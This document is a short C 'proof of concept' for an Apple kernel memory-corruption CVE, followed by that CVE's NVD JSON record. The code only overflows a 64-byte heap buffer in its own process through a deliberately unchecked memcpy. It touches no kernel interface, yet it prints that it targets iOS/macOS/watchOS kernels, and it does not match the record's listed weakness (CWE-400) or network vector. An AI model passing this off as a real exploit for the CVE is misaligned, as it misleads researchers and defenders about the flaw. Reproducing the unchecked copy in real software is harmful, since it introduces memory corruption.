CVE-2025-43462

// CVE-2025-43462 PoC - Memory Corruption in Apple Kernel // This is a conceptual PoC demonstrating the vulnerability pattern // Note: Actual exploitation requires specific conditions and is for educational purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated kernel memory structure typedef struct { unsigned long addr; size_t size; char* data; } kernel_buffer_t; // Vulnerable function - missing bounds checking void kernel_memcpy(kernel_buffer_t* dst, const char* src, size_t len) { // VULNERABILITY: No validation of len against dst->size // This can lead to heap buffer overflow in kernel context memcpy(dst->data, src, len); } // Trigger the vulnerability int trigger_vulnerability() { // Allocate small kernel buffer kernel_buffer_t kbuf; kbuf.size = 64; kbuf.data = (char*)malloc(64); // Attacker-controlled input larger than buffer char exploit_data[256]; memset(exploit_data, 'A', 256); // Trigger the vulnerable memcpy // This causes kernel memory corruption kernel_memcpy(&kbuf, exploit_data, 256); // Result: Heap overflow, potential kernel panic or code execution free(kbuf.data); return 0; } int main() { printf("CVE-2025-43462 PoC - Apple Kernel Memory Corruption\n"); printf("Target: iOS/macOS/watchOS kernel memory handling\n"); printf("This PoC demonstrates the memory corruption pattern\n"); return trigger_vulnerability(); }

{"cve": {"id": "CVE-2025-43462", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:51.510", "lastModified": "2026-04-02T19:20:50.350", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved memory handling. This issue is fixed in iOS 26.1 and iPadOS 26.1, macOS Tahoe 26.1, tvOS 26.1, visionOS 26.1, watchOS 26.1. An app may be able to cause unexpected system termination or corrupt kernel memory."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "6D51AEDC-9086-4010-B3BF-C652D65D09C8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "3981A7BE-BC98-4C6F-AE38-D68839368925"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "290E0D29-CB5B-45A7-9FE3-FD2030B1D1A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "7DFD3616-65CA-4E5C-849C-3C20ACBCB610"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "9F9D7F76-13FB-407C-94E5-221B93021568"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125632", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125634", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125637", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125638", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125639", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}